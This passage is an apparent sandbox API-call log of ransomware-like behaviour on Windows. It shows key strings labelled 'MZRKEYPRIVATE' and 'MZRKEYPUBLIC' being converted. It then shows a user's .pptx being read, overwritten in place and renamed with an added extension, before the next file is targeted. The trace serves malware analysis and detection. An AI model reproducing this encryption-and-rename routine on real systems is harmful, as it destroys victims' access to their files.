DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.344] GetCurrentThreadId () returned 0xa30 [0088.344] GetCurrentThreadId () returned 0xa30 [0088.344] GetCurrentThreadId () returned 0xa30 [0088.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.345] GetCurrentThreadId () returned 0xa30 [0088.345] GetCurrentThreadId () returned 0xa30 [0088.345] GetCurrentThreadId () returned 0xa30 [0088.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMBc_TwQqbjBeYXCL.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmbc_twqqbjbeyxcl.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.345] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.346] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.346] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x85f4 [0088.346] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.346] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x85f4, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x85f4, lpOverlapped=0x0) returned 1 [0088.349] CloseHandle (hObject=0x124) returned 1 [0088.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMBc_TwQqbjBeYXCL.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmbc_twqqbjbeyxcl.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.352] WriteFile (in: hFile=0x124, lpBuffer=0x1efa040*, nNumberOfBytesToWrite=0x85f4, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efa040*, lpNumberOfBytesWritten=0x18f978*=0x85f4, lpOverlapped=0x0) returned 1 [0088.355] CloseHandle (hObject=0x124) returned 1 [0088.355] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMBc_TwQqbjBeYXCL.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmbc_twqqbjbeyxcl.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMBc_TwQqbjBeYXCL.pptx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmbc_twqqbjbeyxcl.pptx.zv7un")) returned 1 [0088.357] GetCurrentThreadId () returned 0xa30 [0088.357] GetCurrentThreadId () returned 0xa30 [0088.357] GetCurrentThreadId () returned 0xa30 [0088.357] GetCurrentThreadId () returned 0xa30 [0088.357] GetCurrentThreadId () returned 0xa30 [0088.357] GetCurrentThreadId () returned 0xa30 [0088.357] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b76b60, ftCreationTime.dwHighDateTime=0x1d5602d, ftLastAccessTime.dwLowDateTime=0x30af9b90, ftLastAccessTime.dwHighDateTime=0x1d5a5e0, ftLastWriteTime.dwLowDateTime=0x30af9b90, ftLastWriteTime.dwHighDateTime=0x1d5a5e0, nFileSizeHigh=0x0, nFileSizeLow=0x8c7f, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="Si93WyJ4VkIM.xlsx", cAlternateFileName="SI93WY~1.XLS")) returned 1 [0088.357] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.357] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Si93WyJ4VkIM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si93wyj4vkim.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b76b60, ftCreationTime.dwHighDateTime=0x1d5602d, ftLastAccessTime.dwLowDateTime=0x30af9b90, ftLastAccessTime.dwHighDateTime=0x1d5a5e0, ftLastWriteTime.dwLowDateTime=0x30af9b90, ftLastWriteTime.dwHighDateTime=0x1d5a5e0, nFileSizeHigh=0x0, nFileSizeLow=0x8c7f)) returned 1 [0088.357] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Si93WyJ4VkIM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si93wyj4vkim.xlsx")) returned 0x20 [0088.357] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Si93WyJ4VkIM.xlsx", dwFileAttributes=0x80) returned 1 [0088.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr